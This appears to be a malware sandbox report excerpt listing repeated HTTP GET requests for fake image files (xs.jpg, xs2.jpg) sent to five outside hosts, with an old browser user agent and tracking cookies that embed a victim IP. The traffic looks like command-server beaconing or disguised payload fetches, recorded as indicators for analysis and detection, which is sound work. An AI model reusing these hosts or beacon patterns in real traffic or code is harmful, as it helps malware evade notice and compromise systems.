                Source: global trafficHTTP traffic detected: GET /xs.jpg?5ba63bfa=317895662 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159352|1720159209|4|32|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?dd7e3e4c=-1157858152 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159353|1720159210|4|32|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?48113524=1209087268 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?baec0a33=1977095270 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?4aae3f80=-1789100288 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159356|1720159208|4|33|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3def25de=761812174 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159356|1720159209|4|33|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?169bcf29=-1260488376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159357|1720159210|4|33|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?77e1dd4f=1738905581 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?bee7d50d=-1165547199 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?9d03c0a4=973570376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159360|1720159208|4|34|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?d883278a=1965001572 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159361|1720159209|4|34|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?b51abf91=-205832969 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159362|1720159210|4|34|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?6f1957af=1296828173 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?e75b4ac1=573939913 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?e367dd4b=-1918929620 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159364|1720159208|4|35|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?8c5cf857=-1110386253 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159365|1720159209|4|35|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?35067=651573 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159366|1720159210|4|35|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?98e1fd6=480927618 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?7d5f014e=-441053940 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?d809335f=1885077942 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159369|1720159208|4|36|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?755b4d7a=-1428526128 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159369|1720159209|4|36|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?9326ace=1388691774 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159370|1720159210|4|36|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?a261d895=-1250910915 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?4c21d05f=-463113955 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?d01fe77f=1082105340 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159373|1720159208|4|37|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?b90529bb=976462158 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159374|1720159209|4|37|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?29084d1f=688409887 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159374|1720159210|4|37|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?b7b2679=1155720918 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?6115a042=-445898422 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a44fd8bb=-1858116884 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159377|1720159208|4|38|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?8ccd01ec=859047856 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159378|1720159209|4|38|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?87953207=-1765829099 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159379|1720159210|4|38|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?e366d748=456571456 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?4aa74b0d=-1790011878 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?7b10710e=-496851372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159382|1720159208|4|39|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?fb47c601=-475094010 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159382|1720159209|4|39|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?5f8cf3a4=2117324432 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159383|1720159210|4|39|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?857688db=366617452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?303eae28=1618828368 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?e278541f=-495430625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159387|1720159208|4|40|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4f537962=1028515208 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159387|1720159209|4|40|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?9a758865=959888067 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159388|1720159210|4|40|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?2c82c54b=-2054664223 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?6a0a1d8=1111904880 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?ba935ee0=-1528767904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159391|1720159208|4|41|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?766eab11=1986964241 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159392|1720159209|4|41|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a84724a6=-1832423812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159393|1720159210|4|41|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?bd6ca73c=-345687584 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?868208e4=-1819927892 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?de47d516=-796492346 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159396|1720159208|4|42|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?7558a477=-1072440630 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159397|1720159209|4|42|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?bd8cb32b=1900819202 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159397|1720159210|4|42|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3bcd0466=1442982908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?53f8f427=-68494219 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?d0624e0f=-498215846 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159401|1720159208|4|43|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?ba892148=1964130960 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159401|1720159209|4|43|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?c23d225b=1336668285 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159402|1720159210|4|43|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?8d5908bb=-579912419 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?726fcf90=1464823472 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?4f9cfd4b=-287901727 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159405|1720159208|4|44|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?7f9835e0=2113473888 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159406|1720159209|4|44|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?bbc08714=859936060 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159407|1720159210|4|44|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?c82e6dfa=1098084304 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?f1d24191=-713636685 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?6d72debd=1805055464 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159411|1720159208|5|45|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?ad82783c=429275676 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159411|1720159209|4|45|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?83277979=211674596 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159412|1720159210|4|45|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?a4ace5e6=1858140924 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?8ace3555=-1966197419 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1a12e219=1749780580 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159415|1720159208|4|46|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?e8e2ac16=1968179332 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159415|1720159209|4|46|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1d23ecfe=-872711438 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159416|1720159210|4|46|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1c0afe0d=-1472072626 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
